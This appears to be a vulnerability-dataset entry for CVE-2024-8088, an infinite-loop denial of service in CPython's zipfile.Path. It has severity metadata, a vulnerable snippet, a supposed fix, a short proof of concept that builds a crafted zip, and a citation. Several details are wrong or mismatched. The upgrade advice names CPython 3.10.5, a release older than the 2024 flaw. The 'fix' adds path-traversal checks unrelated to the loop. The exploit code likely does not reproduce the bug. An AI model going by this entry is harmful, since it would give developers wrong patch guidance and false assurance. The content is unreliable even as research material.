CVE-2024-8088

High severity infinite loop vulnerability in CPython's zipfile.Path.

• CVSS 8.7
• CWE-835
• Input Validation and Sanitization
• Remote

There is a HIGH severity vulnerability affecting the CPython "zipfile" module affecting "zipfile.Path". Note that the more common API "zipfile.ZipFile" class is unaffected. When iterating over names of entries in a zip archive (for example, methods of "zipfile.Path" like "namelist()", "iterdir()", etc) the process can be put into an infinite loop with a maliciously crafted zip archive. This defect applies when reading only metadata or extracting the contents of the zip archive. Programs that are not handling user-controlled zip archives are not affected.

CVE

CVE-2024-8088

CWE

CWE-835

CVSS base score

8.7

Published

2024-08-22

OWASP

A09 Security Logging and Monitoring Failures

Orthogonal defect classification

Algorithm

Code defect classification

Incorrect Algorithm

Category

Input Validation and Sanitization

Subcategory

Insecure Parsing or Deserialization

Accessibility scope

Remote

Impact

Denial of Service (DoS)

Affected component

Python 3.10.

Fixed by upgrading

Yes

Solution

Upgrade to CPython version 3.10.5 or later, where this vulnerability is addressed.

import zipfile
from pathlib import Path

def zip_path_handling(zip_file_path):
    with zipfile.ZipFile(zip_file_path, 'r') as zip_file:
        zip_path = zipfile.Path(zip_file)
        for name in zip_path.namelist():
            print(name)

zip_path_handling('example.zip')

import zipfile
import os
from pathlib import Path

def zip_path_handling(zip_file_path, extract_to_dir):
    extract_to_dir = Path(extract_to_dir).resolve()
    if not extract_to_dir.is_dir():
        raise ValueError(f"The extraction directory {extract_to_dir} is not valid.")
    
    with zipfile.ZipFile(zip_file_path, 'r') as zip_file:
        for name in zip_file.namelist():
            sanitized_name = os.path.normpath(name)
            if sanitized_name.startswith('..'):
                raise ValueError(f"Strange file path detected: {name}")
            sanitized_name = sanitized_name.replace('/', os.sep).replace('\\', os.sep)
            target_path = extract_to_dir / sanitized_name
            if not target_path.resolve().parent == extract_to_dir:
                raise ValueError(f"Strange file path detected: {name}")
            print(f"Extracting: {sanitized_name}")
            zip_file.extract(name, extract_to_dir)

zip_path_handling('example.zip', 'extract_folder')

import zipfile
import io

# Create a malicious zip file that causes an infinite loop
malicious_zip = io.BytesIO()
with zipfile.ZipFile(malicious_zip, 'w') as zf:
    # Create a zip entry that points to itself, causing an infinite loop
    zf.writestr('loop.zip', b'')  # Create a zip file inside
    zf.writestr('loop.zip/loop.zip', b'')  # Reference itself

malicious_zip.seek(0)

# Attempt to read the names using zipfile.Path, which would trigger the vulnerability
zip_path = zipfile.Path(malicious_zip)
for name in zip_path.iterdir():
    print(name)

@misc{vaitp:cve20248088,
  title        = {{High severity infinite loop vulnerability in CPython's zipfile.Path.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-8088},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-8088/}}
}